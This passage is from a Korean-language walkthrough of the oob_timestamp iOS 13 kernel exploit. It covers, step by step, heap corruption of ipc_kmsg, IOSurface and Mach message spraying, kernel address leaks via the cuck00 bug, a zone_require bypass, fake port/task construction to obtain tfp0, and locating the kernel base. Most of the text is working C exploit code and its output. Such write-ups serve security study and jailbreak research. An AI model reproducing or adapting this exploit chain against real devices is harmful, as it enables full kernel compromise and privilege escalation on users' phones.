    else if (((minimum_corrupted_size << 24) | 0xffffff) < ts && ts <= ((minimum_corrupted_size << 32) | 0xffffffff)) {
        overflow_size = 5;
    }
    else if (((minimum_corrupted_size << 32) | 0xffffffff) < ts && ts <= ((minimum_corrupted_size << 36) | 0xffffffffff)) {
        overflow_size = 4;
    }
    else if (((minimum_corrupted_size << 36) | 0xffffffffff) < ts && ts <= ((minimum_corrupted_size << 40) | 0xffffffffffff)) {
        overflow_size = 3;
    }
    
    uint32_t ipc_kmsg_size = (uint32_t) (ts >> (8 * (8 - overflow_size)));
    if (ipc_kmsg_size < (minimum_corrupted_size + 1) || ipc_kmsg_size > 0x0400a8ff) {
        printf("[-] Probably won't work with this timestamp, retrying...\n");
        usleep(100);
        goto retry;
    }
    INFO("ts for corrupting ipc_kmsg's ikm_size = 0x%llx\n", ts);

#if ENABLE_HELPER
    uint32_t ikm_size_orig = kread32(ipc_kmsg_addr);
    INFO("Original ipc_kmsg's ikm_size: 0x%x\n", ikm_size_orig);
#endif
    
    printf("[*] Triggering bug with %d bytes\n", overflow_size);
    overflow_n_bytes(96 MB, overflow_size, &cmdbuf, &seglist);
    printf("[*] Corruption worked?\n");

#if ENABLE_HELPER
    uint32_t ikm_size_corrupted = kread32(ipc_kmsg_addr);
    INFO("Corrupted ipc_kmsg's ikm_size: 0x%x\n", ikm_size_corrupted);
    
    mach_port_destroy(mach_task_self(), corrupted_kmsg_port);
    printf("[*] Freed kmsg\n");

    INFO("spinning here...\n"); 
    getchar();
#endif
  • 결과를 살펴보면, ipc_kmsg의 원래 ikm_size 값은 0x1ffa8 (0x20000 – 0x58 = 0x1ffa8)였으나, ikm_size 값이 mach_time_absolute 타임스탬프 값으로 덮혀 손상됨.
  • 덮어질 수 있는 ikm_size 값은 매 상황마다 다름.
  • 여기서는 ikm_size 값이 0x6e2835로 덮어짐 → 따라서 ipc_kmsg free시에 0x6e288d (0x6e2835 + 0x58 = 0x6e288d) 크기만큼 할당해제됨.
  • 최종적으로, ipc_kmsg, spray_buffer, ool ports들이 free될뿐만 아니라, 스프레이된 OSArray 타입인 8페이지 크기로 구성된 여러 kfree_buffer들 중 일부가 free됨.
=================== Overall Info ===================
seglist =                   0xffffffe0cfba4000
cmdbuf =                    0xffffffe0d5ba4000
ipc_kmsg =                  0xffffffe0dbba4000
ipc_kmsg2(FREED) =          0xffffffe0dbbc4000
[*] spray_buffer =          0xffffffe0dbbc4000
oolports =                  0xffffffe0dbbe4000
kfree_buffer =              0xffffffe0dbc04000
====================================================

[*] ts for corrupting ipc_kmsg's ikm_size = 0x6e282fa2
[*] Original ipc_kmsg's ikm_size: 0x1ffa8
[*] Triggering bug with 7 bytes
[*] Corruption worked?
[*] Corrupted ipc_kmsg's ikm_size: 0x6e2835
[*] Freed kmsg
[*] spinning here...

현재 색칠된 부분이 모두 할당해제된 영역이라고 볼 수 있음.

여러 kfree_buffer들 중 일부가 free됨.

image.png

11. 할당해제된 영역에 ipc_kmsg를 1024번 스프레이하기

  • 이전에 할당시키고 해제시킨 ipc_kmsg, spray_buffer, ool ports 등 3곳이 차지하는 크기가 전부 8페이지 정도 였음.
  • 8페이지 크기에 달하는 ipc_kmsg를 1024번 스프레이함.
  • 그러면, 할당해제된 3곳에 ipc_kmsg들이 배치하게됨.
kern_return_t send_message(mach_port_t destination, void *buffer, mach_msg_size_t size) {
    mach_msg_size_t msg_size = sizeof(struct simple_msg) + size;
    struct simple_msg *msg = malloc(msg_size);
    
    memset(msg, 0, sizeof(struct simple_msg));
    
    msg->hdr.msgh_remote_port = destination;
    msg->hdr.msgh_local_port = MACH_PORT_NULL;
    msg->hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_MAKE_SEND, 0);
    msg->hdr.msgh_size = msg_size;
    
    memcpy(&msg->buf[0], buffer, size);
    
    kern_return_t ret = mach_msg(&msg->hdr, MACH_SEND_MSG, msg_size, 0, MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (ret) {
        printf("[-] failed to send message\n");
        mach_port_destroy(mach_task_self(), destination);
        free(msg);
        return ret;
    }
    free(msg);
    return KERN_SUCCESS;
}

...

mach_port_t message_leaking_port = POP_PORT();
    
    for (int i = 0; i < 1024; i++) {
        ret = send_message(message_leaking_port, data, (uint32_t)message_size_for_kalloc_size(8 * pagesize) - sizeof(struct simple_msg));
        if (ret) {
            printf("[-] Failed to send message\n");
            goto err;
        }
    }

image.png

12. IOSurface_get_value로 커널 공간의 ipc_kmsg 구조체 누출시키기

  • 할당해제된 spray_buffer 공간은 11번에 과정에 의해 스프레이된 ipc_kmsg 데이터로 차지됨.
  • 따라서 IOSurface_get_value API로 커널 공간에 있는 ipc_kmsg 구조체 데이터를 누출시킬 수 있음.
    free(data);
    data = NULL;
    
    uint32_t argsSz = sizeof(struct IOSurfaceValueArgs) + 2 * sizeof(uint32_t);
    struct IOSurfaceValueArgs *in = malloc(argsSz);
    bzero(in, argsSz);
    in->surface_id = IOSurface_id;
    in->xml[0] = spray_buffer_key;
    in->xml[1] = 0;
    
    // this buffer is now an ipc_kmsg struct, read it back
    size_t out_size = 82 MB; // make it bigger than actual; that works for both cases
    ret = IOSurface_get_value(in, 16, spray_buffer, &out_size);
    if (ret) {
        printf("[-] Failed to read back value\n");
        goto err;
    }
    
    free(in);
  • 82MB 크기의 방대한 데이터 영역중에서 ipc_kmsg 구조체의 ikm_size 값에 대해 memmem 함수를 통해 찾음.
  • 스프레이했던 ipc_kmsg 크기는 8페이지이며, 해당 크기에서 0x58뺀 값이 바로 ikm_size임.
  • 찾으면 그곳부터가 struct ipc_kmsg 구조체의 첫 필드에 속함.
uint32_t ikm_size = 8 * (uint32_t)pagesize - 0x58;
    void *ipc_kmsg = memmem(spray_buffer, out_size, &ikm_size, sizeof(ikm_size));
    if (!ipc_kmsg) {
        printf("[-] Failed to leak ipc_kmsg\n");
        goto err;
    }

13. 유출된 ikm_header 주소값으로 96MB의 segment list 주소 알아내기

  • ikm_header 주소는 ipc_kmsg 주소로부터 +0x8000+0x28만큼 떨어져있음.
  • 따라서 ipc_kmsg 주소는 유출된 ikm_header 주소값에서 -0x8000-0x28과 같이 빼면 구할 수 있음.
  • 추가로 우리가 할당했던 seglistcmdbuf 영역의 크기가 각각 96MB, ipc_kmsg 크기가 8페이지, ipc_kmsg ~ ikm_header 간의 떨어진 주소 차이값을 전부 다 구한 다음, 전부 다 해당값들을 ikm_header 주소에서 빼주면, seglist 주소를 계산할 수 있음.
  • 추후 kernel read를 하기 위해 fake port / fake task를 다음과 같이 설정함.
    • fake_port_addr = cmdbuf addr + 0x100
    • fake_task_addr = cmdbuf addr + kernel page size(=0x4000)
// ikm_header = beginning of struct + something, we can use this to calculate the address of the shared memory buffer
    uint64_t ikm_header = *(uint64_t*)(ipc_kmsg + 24);
    uint64_t segment_list_addr = ikm_header - 96 MB - 96 MB - 8 * pagesize - 2 * pagesize - 0x28;
    
    printf("[+] ikm_header leak: 0x%llx\n", ikm_header);
    printf("[+] Segment list calculated to be at: 0x%llx\n", segment_list_addr);
    
    uint64_t fake_port_page_addr = segment_list_addr + 96 MB; // = addr of command buffer
    uint64_t fake_port_addr = fake_port_page_addr + 0x100;
    
    uint64_t fake_task_page_addr = segment_list_addr + pagesize + 96 MB; // = addr of command buffer + pagesize
    uint64_t fake_task_addr = fake_task_page_addr + 0x100;

실제로, 11번 과정에서 스프레이한곳 중 하나인 ipc_kmsg 주소를 직접 살펴보면, ikm_header 주소는 항상 ipc_kmsg 주소에서 +0x8000+0x28 만큼 떨어져있음.

image.png

14. 1024번 스프레이했던 ipc_kmsg 할당해제

mach_port_destroy(mach_task_self(), message_leaking_port);

image.png

15. fake port 주소들로 채워진 8페이지 크기로 구성된 IOSurface data를 1000번 스프레이하기

  • 이제 3곳에는 fake port addr로 채워진 버퍼들로 차지된다.
    data = malloc(8 * pagesize);
    for (int i = 0; i < 8 * pagesize / 8; i++) {
        ((uint64_t*)data)[i] = fake_port_addr;
    }
    
    uint32_t ool_ports_realloc_key = transpose(property_index++);
    ret = IOSurface_kmem_alloc_spray(data, 8 * pagesize, 1000, ool_ports_realloc_key);
    if (ret) {
        printf("[-] Failed to spray\n");
        goto err;
    }

image.png

16. 커맨드 버퍼의 모든 페이지에 대해 page fault 발생시키기 (bazad’s fix for a kernel data abort)

아래 코드와 같이 커널 환경에서 커맨드 버퍼에 접근할 수 있도록, 커맨드 버퍼의 모든 페이지에 대해 page fault를 발생시킨다.

oob_timestamp 원저작자 분의 익스플로잇 코드 주석을 참고하면, 그렇게 하는 이유는 다음과 같다고 한다.

첫 접근 시 선점(preemption)이 비활성화된 상태에서 락을 시도하기 때문에 vm_fault()가 중단되기 때문입니다.
메모리를 미리 고정(wiring)한다고 해도 커널에서 페이지에 접근할 때 패닉이 발생하지 않는다는 보장은 없습니다.

int make_buffer_readable_by_kernel(void *buffer, uint64_t n_pages) {
    for (int i = 0; i < n_pages * pagesize; i += pagesize) {
        struct IOAccelKernelCommand_CollectTimeStamp *ts_cmd = (struct IOAccelKernelCommand_CollectTimeStamp *)(((uint8_t *)buffer) + i);
        bool end = i == (n_pages * pagesize - pagesize);
        ts_cmd->command.type = 2;
        ts_cmd->command.size = pagesize - (end ? sizeof(struct IOAccelKernelCommand_CollectTimeStamp) : 0);
        
        // we have to write something because... memory stuff
        *(((uint8_t *)buffer) + i) = 0;
    }
    return IOAccelCommandQueue2_submit_command_buffers(&submit_args.header, sizeof(submit_args));
}

// bazad's fix for a kernel data abort
    make_buffer_readable_by_kernel(cmdbuf.data, 2);
    memset(cmdbuf.data, 0, 2 * pagesize);

17-1. kernel read를 위해 fake port / fake task 셋업하기

  • 커널과 유저공간을 공유하는 메모리인 커맨드 버퍼를 이용하여 fake port와 fake task를 설정한다.
  • 커맨드버퍼의 첫 페이지 + 0x100 지점에는 fake port, 커맨드버퍼의 2번쨰 페이지 + 0x100 지점에는 fake task 내용을 채운다.
  • zone_require bypass를 위해 중간에 각 존의 유효한 zindex 값을 넣는다. 17-2 과정을 통해 더 자세히 알아보자.
// setup fake port & fake task
    kport_t *fake_port = cmdbuf.data + 0x100;
    ktask_t *fake_task = cmdbuf.data + pagesize + 0x100;
        
    uint8_t *fake_port_page = cmdbuf.data;
    uint8_t *fake_task_page = cmdbuf.data + pagesize;

    // zone_require bypass
    // 0x16 = .zindex
    // 42 = .ipc_ports_zindex; zindex of the "ipc_ports" zone
    // 58 = .tasks_zindex; zindex of the "tasks" zone
    *(uint16_t *)(fake_port_page + 0x16) = 42;
#if __arm64e__
    *(fake_task_page + 0x16) = 57;
#else
    *(uint16_t *) (fake_task_page + 0x16) = 58;
#endif
        
    fake_port->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
    fake_port->ip_references = 0xd00d;
    fake_port->ip_lock.type = 0x11;
    fake_port->ip_messages.port.receiver_name = 1;
    fake_port->ip_messages.port.msgcount = 0;
    fake_port->ip_messages.port.qlimit = MACH_PORT_QLIMIT_LARGE;
    fake_port->ip_messages.port.waitq.flags = mach_port_waitq_flags();
    fake_port->ip_srights = 99;
    fake_port->ip_kobject = fake_task_addr;
        
    fake_task->ref_count = 0xff;
    fake_task->lock.data = 0x0;
    fake_task->lock.type = 0x22;
    fake_task->ref_count = 100;
    fake_task->active = 1;

17-2. zone_require 검사 우회하기 (iOS 13.0 ~ 13.5)

출처: https://blog.siguza.net/tachy0n/

아마 이 시점에서 주목할 만한 것은 zone_require 우회뿐일 겁니다. 하지만 그것조차도 iOS 13 시절에 활동했던 사람이라면 누구나 잘 알고 있는 내용이죠. **zone_require**는 단순히 zone_map 외부의 페이지를 허용해버렸다는 사실 때문에 완전히 깨져 있었습니다. 그 경우 페이지의 처음 0x20 바이트를 페이지 메타데이터로 취급했기 때문에, 거기에 올바른 존 인덱스를 채워 넣기만 하면 원하는 어떤 존에 대해서든 접근 권한을 새로 발급받을 수 있었습니다. 이것이 바로 우리가 두 개의 페이지가 필요한 이유이기도 합니다. 하나는 태스크용, 다른 하나는 Mach 포트용입니다.

  • 사진을 참고하자면, iOS 13.5 이하버전에서 사용되는 Bypass 1 테크닉이다.
  • zone_map 외부의 페이지를 허용한다는 사실 때문에 우회가 가능하다.
  • 페이지의 처음 0x20 바이트를 페이지 메타데이터로 취급하기 때문에, 올바른 존 인덱스만 채워넣기만 하면 우회가 가능하다.
  • “tasks” zone에 해당되는 zindex, “ipc_ports” zone에 해당되는 zindex 값 각각 2개를 올바른 존 인덱스에 채워넣어야 하기 때문에 2개의 커널 페이지가 필요하다.

사진 출처: https://archive.nullcon.net/website/goa-2022/documents/jailbreaking-iOS-Goa22.pdf

Screenshot 2025-09-13 at 5.15.35 AM.png

    // zone_require bypass
    // 0x16 = .zindex
    // 42 = .ipc_ports_zindex; zindex of the "ipc_ports" zone
    // 58 = .tasks_zindex; zindex of the "tasks" zone
    *(uint16_t *)(fake_port_page + 0x16) = 42;
#if __arm64e__
    *(fake_task_page + 0x16) = 57;
#else
    *(uint16_t *) (fake_task_page + 0x16) = 58;
#endif

18. fake port에 해당되는 Mach OOL 메시지 수신하기

  • ool_ports_realloc_buffer들로 가득찬 3곳을 다시 떠올려보자.
  • 이전에 5번 과정에서 할당되었던 ool ports 공간(사진 상에서는 초록색 부분)이 지금은 15번 과정으로 인해 fake port 주소들로 가득 채워져있다.
  • 따라서 OOL 메시지를 수신하고 조작된 포트 핸들을 다시 읽어올 수 있는데, 여기서 fakeport에 대응하는 포트 핸들을 얻을 수 있다.

image.png

// receive back the fake ports
    struct ool_msg *ool = (struct ool_msg *)receive_message(ool_message_port, sizeof(struct ool_msg) + 0x1000);
    mach_port_t fakeport = ((mach_port_t *)ool->ool_ports.address)[0];
    free(ool);
    ool = NULL;
    
    if (!fakeport) {
        printf("[-] Didn't get fakeport???\n");
        goto err;
    }
    
    printf("[+] fakeport: 0x%x\n", fakeport);

19. cuck00 취약점을 이용하여 ool_message_port 사용자 포트로부터 커널 공간의 ipc_port 구조체 주소 가져오기

  • 추후 커널 태스크 포트인 tfp0를 얻기 위해서는 ipc_space_kernel 주소가 필요함.
  • ipc_space_kernel 주소를 얻기 위해서는 처음에 ipc_port 구조체 중 ip_receiver 필드를 읽어낼 필요가 있었음.
  • 따라서 ipc_space 구조체 주소를 먼저 누출할 필요가 있었음
  • 누출된 주소는 leaked_port_addr 변수에 저장.
uint64_t find_port_via_cuck00(mach_port_t port) {
    uint64_t refs[8] = { 0x4141414141414141, 0x4242424242424242, 0x4343434343434343, 0x4545454545454545, 0x4646464646464646, 0x4747474747474747, 0x4848484848484848, 0x4949494949494949 };

    uint64_t in[3] = { 0, 0, 0 };
    kern_return_t ret = IOConnectCallAsyncStructMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_set_notify_selector, port, refs, 8, in, sizeof(in), NULL, NULL);
    if (ret) {
        return 0;
    }

    uint64_t id = IOSurface_id;
    ret = IOConnectCallScalarMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_increment_use_count_selector, &id, 1, NULL, NULL);
    if (ret) {
        return 0;
    }

    ret = IOConnectCallScalarMethod(IOSurfaceRootUserClient, IOSurfaceRootUserClient_decrement_use_count_selector, &id, 1, NULL, NULL);
    if (ret) {
        return 0;
    }

    struct {
        mach_msg_header_t head;
        struct {
            mach_msg_size_t size;
            natural_t type;
            uintptr_t ref[8];
        } notify;
        struct {
            kern_return_t ret;
            uintptr_t ref[8];
        } content;
        mach_msg_max_trailer_t trailer;
    } msg = {};
    
    ret = mach_msg(&msg.head, MACH_RCV_MSG, 0, sizeof(msg), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    
    if (ret) {
        return 0;
    }

    return msg.notify.ref[0] & ~3;
}

uint64_t leaked_port_addr = find_port_via_cuck00(ool_message_port);
    if (!leaked_port_addr) {
        printf("[-] Failed to leak port address\n");
        goto err;
    }
    printf("[+] Leaked port: 0x%llx\n", leaked_port_addr);

20. 커널 읽기 구현

  • fakeport에 대응하는 포트 핸들을 획득하였기 때문에, 이제 해당 포트를 통해pid_for_task 함수로 안정적인 커널 읽기 프리미티브를 구현할 수 있음.
  • fakeport / faketask 내용은 커널과 유저간의 공유메모리인 커맨드 버퍼에 위치해있기 때문에 언제든지 제어할 수 있음.
  • 제어 가능하기에 – 따라서, fake task의 bsd_info 필드를 조작함으로써 읽힐 대상의 주소를 지정할 수 있음.
  • ool_message_port 사용자 포트에 해당되는 ipc_port 구조체 중 ip_receiver 필드를 통해 ipc_space_kernel 주소를 얻음.
  • proc는 양방향 연결 리스트이므로, 현재 프로세스부터 시작해 앞쪽으로 pid=0까지 순회하면서 커널 proc 구조체를 얻은 다음, 커널의 vm_map 주소를 얻음.
  • leaked_port_addr에 저장된 i**pc_port 구조체 주소에서 필드 접근을 통해 our_port_addr 주소와 ipc_space_kernel 주소를 얻음.**
    // ----------- kernel read ----------- //
    
    uint64_t *read_addr_ptr = (uint64_t *)((uint64_t)fake_task + off_task_bsd_info);
    
#define kr32(addr) rk32_via_fakeport(fakeport, read_addr_ptr, addr)
#define kr64(addr) rk64_via_fakeport(fakeport, read_addr_ptr, addr)

    uint64_t ipc_space = kr64(leaked_port_addr + off_ipc_port_ip_receiver);
    if (!ipc_space) {
        printf("[-] Kernel read failed!\n");
        goto err;
    }
    printf("[+] Got kernel read\n");
    
    uint64_t kernel_vm_map = 0;
    uint64_t ipc_space_kernel = 0;
    uint64_t our_port_addr = 0;
    
    uint64_t struct_task = kr64(ipc_space + off_ipc_space_is_task);
    our_port_addr = kr64(struct_task + off_task_itk_self);
    ipc_space_kernel = kr64(our_port_addr + offsetof(kport_t, ip_receiver));
    
    while (struct_task) {
        uint64_t bsd_info = kr64(struct_task + off_task_bsd_info);

        int pid = kr32(bsd_info + off_p_pid);
        if (pid == 0) {
            kernel_vm_map = kr64(struct_task + off_task_map);
            break;
        }
        
        struct_task = kr64(struct_task + off_task_prev);
    }
    
    printf("[+] Our task port: 0x%llx\n", our_port_addr);
=================== Overall Info ===================
seglist =                   0xffffffe0cf624000
cmdbuf =                    0xffffffe0d5624000
ipc_kmsg =                  0xffffffe0db624000
ipc_kmsg2(FREED) =          0xffffffe0db644000
[*] spray_buffer =          0xffffffe0db644000
oolports =                  0xffffffe0db664000
kfree_buffer =              0xffffffe0db684000
====================================================

[*] ts for corrupting ipc_kmsg's ikm_size = 0xf8d825e6
[*] Original ipc_kmsg's ikm_size: 0x1ffa8
[*] Triggering bug with 7 bytes
[*] Corruption worked?
[*] Corrupted ipc_kmsg's ikm_size: 0xf8d82b
[*] Freed kmsg
[+] ikm_header leak: 0xffffffe0db64c028
[+] Segment list calculated to be at: 0xffffffe0cf624000
[+] fakeport: 0x2307
[+] Leaked port: 0xffffffe002507330
[+] Got kernel read
[+] Our task port: 0xffffffe00149de30

21. 커널 태스크 포트 – tfp0 구현

  • fake port를 커널 task 포트로 바꾸기 위해 ip_receiveripc_space_kernel 주소로 업데이트함.
  • 커널의 vm_map 포인터를 삽입.
  • fake task 구조체의 itk_self 필드를 1로 설정.
    // ----------- tfp0! ----------- //
    
    fake_port->ip_receiver = ipc_space_kernel;
    *(uint64_t *)((uint64_t)fake_task + off_task_map) = kernel_vm_map;
    *(uint32_t *)((uint64_t)fake_task + off_task_itk_self) = 1;
    
#if ENABLE_HELPER
    // update
    mach_port_destroy(mach_task_self(), tfp0);
    tfp0 = NULL;
    tfp0 = fakeport;
#endif
    printf("[+] Updated port for tfp0!\n");

    init_kernel_memory(fakeport, our_port_addr);

테스트 작동 확인

  • 8바이트 커널 할당/해제
  • 커널 쓰기/읽기
    uint64_t addr = kalloc(8);
    if (!addr) {
        printf("[-] Seems like tfp0 port didn't work?\n");
        goto err;
    }
    
    printf("[*] Allocated: 0x%llx\n", addr);
    kwrite64(addr, 0x4141414141414141);
    uint64_t readb = kread64(addr);
    kfree(addr, 8);
    printf("[*] Read back: 0x%llx\n", readb);
    
    if (readb != 0x4141414141414141) {
        printf("[-] Read back value didn't match\n");
        goto err;
    }
...
[+] Updated port for tfp0!
[*] Allocated: 0xffffffe000140000
[*] Read back: 0x4141414141414141
[*] DONE, spinning here...

22. 더 안정적인 커널 태스크 포트 – tfp0 구현

  • POP_PORT 매크로로 포트 가져옴.
  • 해당 포트에 대한 ipc_port 구조체를 가리키는 커널 주소를 가져와 new_addr 변수에 지정함.
  • 획득한 tfp0를 이용하여 커널 1페이지 크기만큼 커널 메모리 할당.
    • 할당한 주소가 곧 fake task임.
    • 기존 fake task 내용을 복사하여 새 fake task에 붙여넣음
    • 기존 fake port 내용을 복사하여 새 fake port(new_addr)에 붙여넣음
      • 붙여넣기전에, ip_kobject 필드는 새 fake_task + 0x100 값으로 업데이트해야함.
uint64_t find_port(mach_port_name_t port) {
    uint64_t task_addr = task_self_addr();
    
    uint64_t itk_space = kread64(task_addr + off_task_itk_space);
    
    uint64_t is_table = kread64(itk_space + off_ipc_space_is_table);
    
    uint32_t port_index = port >> 8;
    const int sizeof_ipc_entry_t = 0x18;
    
    uint64_t port_addr = kread64(is_table + (port_index * sizeof_ipc_entry_t));
    return port_addr;
}

...

    printf("[*] Creating safer port\n");
    
    new_tfp0 = POP_PORT();
    if (!new_tfp0) {
        printf("[-] Failed to allocate new tfp0 port\n");
        goto err;
    }
    
    uint64_t new_addr = find_port(new_tfp0);
    if (!new_addr) {
        printf("[-] Failed to find new tfp0 port address\n");
        goto err;
    }
    
    uint64_t faketask = kalloc(pagesize);
    if (!faketask) {
        printf("[-] Failed to kalloc faketask\n");
        goto err;
    }
    
    kwritebuf(faketask, fake_task_page, pagesize);
    fake_port->ip_kobject = faketask + 0x100;
    
    kwritebuf(new_addr, (const void*)fake_port, sizeof(kport_t));
    
    printf("[*] Testing new tfp0 port\n");
    
    init_kernel_memory(new_tfp0, our_port_addr);
    tfp0 = new_tfp0;

테스트 작동 확인

    addr = kalloc(8);
    if (!addr) {
        printf("[-] Seems like the new tfp0 port didn't work?\n");
        goto err;
    }
    
    printf("[+] tfp0: 0x%x\n", new_tfp0);
    printf("[*] Allocated: 0x%llx\n", addr);
    kwrite64(addr, 0x4141414141414141);
    readb = kread64(addr);
    kfree(addr, 8);
    printf("[*] Read back: 0x%llx\n", readb);
    
    if (readb != 0x4141414141414141) {
        printf("[-] Read back value didn't match\n");
        goto err;
    }
[*] Creating safer port
[*] Testing new tfp0 port
[+] tfp0: 0x1b03
[*] Allocated: 0xffffffe031bb4000
[*] Read back: 0x4141414141414141

23. 커널 베이스 찾기

  • IOSurfaceRootUserClient 객체부터 구조체 필드에 차례로 접근하여 vtable에 접근함.
  • vtable에 있는 IOUserClient::getTargetAndTrapForIndex 함수 주소를 가져옴.
  • 해당 함수 주소가 속한 페이지의 주소로 내림한 다음, 커널 주소를 읽고 페이지 크기만큼 읽힐 주소를 감소킴을 반복함으로써 커널 베이스를 찾음.
    // ----------- find kernel base ----------- //
    uint64_t surfRoot = port_to_kobject(IOSurfaceRootUserClient);
    uint64_t IOSurfaceRootUserClient_vtab = kread64(surfRoot);
    IOSurfaceRootUserClient_vtab |= 0xffffff8000000000; // in case it has PAC
    uint64_t getExternalTrapForIndex_func = kread64(IOSurfaceRootUserClient_vtab + 8 * 0xb7);    // IOUserClient::getExternalTrapForIndex;  LDR X8, [X8,#0x5B8]
    getExternalTrapForIndex_func |= 0xffffff8000000000; // __ZN12IOUserClient23getExternalTrapForIndexEj; this address is inside the kernel image;
    INFO("getExternalTrapForIndex_func = 0x%llx\n", function);
    uint64_t page = trunc_page_kernel(function);
   
    while (true) {
        if (kread64(page) == 0x0100000cfeedfacf && (kread64(page + 8) == 0x0000000200000000 || kread64(page + 8) == 0x0000000200000002)) {
            kbase = page;
            break;
        }
        page -= pagesize;
    }
    
    printf("[*] Kernel base: 0x%llx\n", kbase);

24. 정리

익스플로잇해주는 프로세스가 안정적으로 종료되기 위해서는 몇 가지 정리가 필요하다.

24-1. 공유메모리 영역인 seglist, cmdbuf를 안정적으로 free할 수 있게 준비하기

  • 커맨드 버퍼에 위치한 첫 tfp0 포트에 대한 참조를 제거하기
    • 우리는 22번 과정인 커널 메모리를 페이지만큼 할당하고 안정적인 tfp0 포트를 만들어서, 오래된 fake port(*정확히는 cmdbuf 주소를 가리킴)는 더이상 필요없기 때문이다.
    • 따라서 해당 fakeport가 참조하는 ie_objectie_bits를 nullify시킨다.
   // ----------- clean up ----------- //

    printf("[-] Cleaning up...\n");
    uint64_t our_task_addr = rk64(our_port_addr + off_ipc_port_ip_kobject);
    uint64_t itk_space = rk64(our_task_addr + off_task_itk_space);
    uint64_t is_table = rk64(itk_space + off_ipc_space_is_table);
    
    uint32_t port_index = fakeport >> 8;
    const int sizeof_ipc_entry_t = 0x18;
    
    // remove references to the first tfp0 port which is located in the command buffer
    kwrite32(is_table + (port_index * sizeof_ipc_entry_t) + 8, 0);
    kwrite64(is_table + (port_index * sizeof_ipc_entry_t), 0);
    fakeport = MACH_PORT_NULL;

사진으로 나타내면 아래와 같다.

image.png

  • 앱(익스플로잇해주는 프로세스)가 종료될 시 커널 패닉이 나지 않도록 new_tfp0의 수신 권한(receive right) 제거하기
    • new_tfp0 포트에서 ie_bits 필드를 MACH_PORT_TYPE_RECEIVE 제거한 플래그로 만든다.
    // remove our receive right of new_tfp0 to prevent it from dying on app exit
    port_index = new_tfp0 >> 8;
    uint32_t ie_bits = kread32(is_table + (port_index * sizeof_ipc_entry_t) + 8);
    ie_bits &= ~MACH_PORT_TYPE_RECEIVE;
    kwrite32(is_table + (port_index * sizeof_ipc_entry_t) + 8, ie_bits);

24-2. spray_buffer 안정적으로 free시키게 만들기

  • 18번 과정에서 지금까진 할당된 영역에 대한 그림을 다시 한번 살펴보자.
    • spray_buffer 영역은 9번 스프레이 과정에 의해 할당되었다가, 10번 과정에 의해 넓은 범위로 free된 이후, 현재는 15번 과정에 의해 ool_ports_realloc_buffer들로 채워져있다.

image.png

  • IOSurfaceUserClient 포트에서 all_properties(OSDictionary)를 찾아(커널 메모리 읽기) 특정 키(정수 형태로 포장된 4바이트)를 이용해 스프레이했던 값을 꺼낸다.
  • 여기서 값은 OSArray 타입이며, all_propertiesuserdict_from_IOSurface 함수의 반환값과 동일하다.
  • OSArray 배열을 순회하며 그림속의 spray_buffer 영역 주소와 일치하는 OSData 버퍼를 찾는다.
  • 해당 OSData의 capacity를 0으로 초기화시킨다.
  • 이후에는 IOSurface_remove_property 함수를 통해 안정적으로 할당해제시킬 수 있다.
// get all_properties property from an IOSurfaceRootUserClient mach port. this is an OSDictionary * where all properties are set using setValue
uint64_t get_all_properties(mach_port_t IOSurfaceRootUserClient) {
    uint64_t IOSRUC_port_addr = find_port(IOSurfaceRootUserClient); // struct ipc_port *
    uint64_t IOSRUC_addr = kread64(IOSRUC_port_addr + off_ipc_port_ip_kobject); // IOSurfaceRootUserClient *
    uint64_t IOSC_addr = kread64(kread64(IOSRUC_addr + 0x118) + 8 * IOSurface_id); // IOSurfaceClient *
    uint64_t IOSurface_addr = kread64(IOSC_addr + 0x40); // IOSurface *
    uint64_t all_properties = kread64(IOSurface_addr + 0xe8); // OSDictionary *
    return all_properties;
}

uint64_t OSDictionary_objectForKey(uint64_t dict, char *key) {
    uint64_t dict_buffer = kread64(dict + 0x20); // void * // 0x20 = offsetof(OSDictionary, dictionary);
    
    int i = 0;
    uint64_t key_sym = 0;
    do {
        key_sym = kread64(dict_buffer + i); // OSSymbol *
        uint64_t key_buffer = kread64(key_sym + 0x10); // char * // 0x10 = p/x offsetof(OSString, string)
        if (!kstrcmp_u(key_buffer, key)) {
            return kread64(dict_buffer + i + 8);
        }
        i += 16;
    }
    while (key_sym);
    
    return 0;
}

uint64_t address_of_property_key(mach_port_t IOSurfaceRootUserClient, uint32_t key) {
    uint64_t all_properties = get_all_properties(IOSurfaceRootUserClient);
    char *skey = malloc(5);
    memcpy(skey, &key, 4);
    uint64_t value = OSDictionary_objectForKey(all_properties, skey);
    free(skey);
    return value;
}

    uint64_t spray_array = address_of_property_key(IOSurfaceRootUserClient, spray_buffer_key); // OSArray *
    uint32_t capacity = OSArray_getCapacity(spray_array);
    for (int i = 0; i < capacity; i++) {
        uint64_t object = OSArray_objectAtIndex(spray_array, i); // OSData *
        uint64_t buffer = OSData_buffer(object);
        if (buffer == segment_list_addr + 96 MB + 96 MB + 8 * pagesize) {   // check if address that spray_buffer is in
            printf("[*] Found corrupted OSData buffer at 0x%llx\n", buffer);
            OSData_setCapacity(object, 0); // null out the capacity, this buffer was freed & reallocated
            break;
        }
    }
    // now we should be able to free this
    IOSurface_remove_property(spray_buffer_key);

24-3. ool_ports_realloc_buffer 안정적으로 free시키게 만들기

  • 24-2 과정과 동일하게 진행해주면 된다.
    uint64_t ool_array = address_of_property_key(IOSurfaceRootUserClient, ool_ports_realloc_buffer_key); // OSArray *
    capacity = OSArray_getCapacity(ool_array);
    for (int i = 0; i < capacity; i++) {
        uint64_t object = OSArray_objectAtIndex(ool_array, i); // OSData *
        uint64_t buffer = OSData_buffer(object);
        if (buffer == segment_list_addr + 96 MB + 96 MB + 8 * pagesize + 8 * pagesize) {    //check if address that oolports is in
            printf("[*] Found corrupted OSData buffer at 0x%llx\n", buffer);
            OSData_setCapacity(object, 0);
            break;
        }
    }
    IOSurface_remove_property(ool_ports_realloc_buffer_key);

24-4. kfree_buffer의 일부분을 안정적으로 free시키게 만들기

  • 우리는 아래 그림과 같이 노랑과 초록부분까지는 할당해제했으며, 보라색 부분에 대한 할당해제를 처리해줘야 한다.

image.png

